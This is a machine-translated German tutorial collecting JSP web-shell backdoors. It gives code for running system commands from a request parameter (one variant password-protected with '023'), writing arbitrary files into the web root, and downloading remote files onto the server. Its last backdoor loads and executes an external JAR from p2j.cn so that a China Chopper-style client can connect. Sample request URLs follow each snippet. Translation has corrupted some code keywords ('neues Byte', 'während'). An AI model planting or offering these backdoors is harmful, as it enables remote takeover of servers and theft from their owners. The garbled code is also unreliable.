Übertragen von: http://p2j.cn/?p=1627 1. Systembefehle ausführen: Systembefehle ohne Echo ausführen: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Anfrage: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Nach der Ausführung gibt es kein Echo mehr, was bei Bounce-Shells sehr praktisch ist. Es gibt Echos bei der Passwortverifizierung: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = neues Byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> Anfrage: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Kodieren Sie die Zeichenkette und schreiben Sie sie in die angegebene Datei: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> Anfrage: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Schreiben Sie ins Webverzeichnis: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%> Anfrage: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Anfrage: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Schreiben Sie ins Webverzeichnis: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Anfrage: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Lade die entfernte Datei herunter (wenn du keine Apache io Utils verwendest, kannst du den Eingabestrom nicht in ein Byte umwandeln, sie ist also sehr lang...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = neues Byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; während ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Anfrage: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Auf den Webpfad herunterladen: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = neues Byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; während ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Anfrage: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Viertens: Die Reflexion ruft den äußeren Gefäß, perfektioniert die Hintertür Wenn dir die oben genannte Backdoor-Funktion nicht gefällt, ist sie zu schwach und veraltet, kannst du Folgendes ausprobieren: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Anfrage: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Küchenmesser-Verbindung: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, Passwort 023.
Lösung: Verwenden Sie Reflection, um ein externes JAR in die aktuelle Anwendung zu laden, und Reflection führt das Ergebnis der Ausgabeverarbeitung aus. request.getParameterMap() enthält alle angeforderten Parameter. Da das externe jar-Paket geladen ist, muss der Server auf diese jar-Adresse zugreifen können. |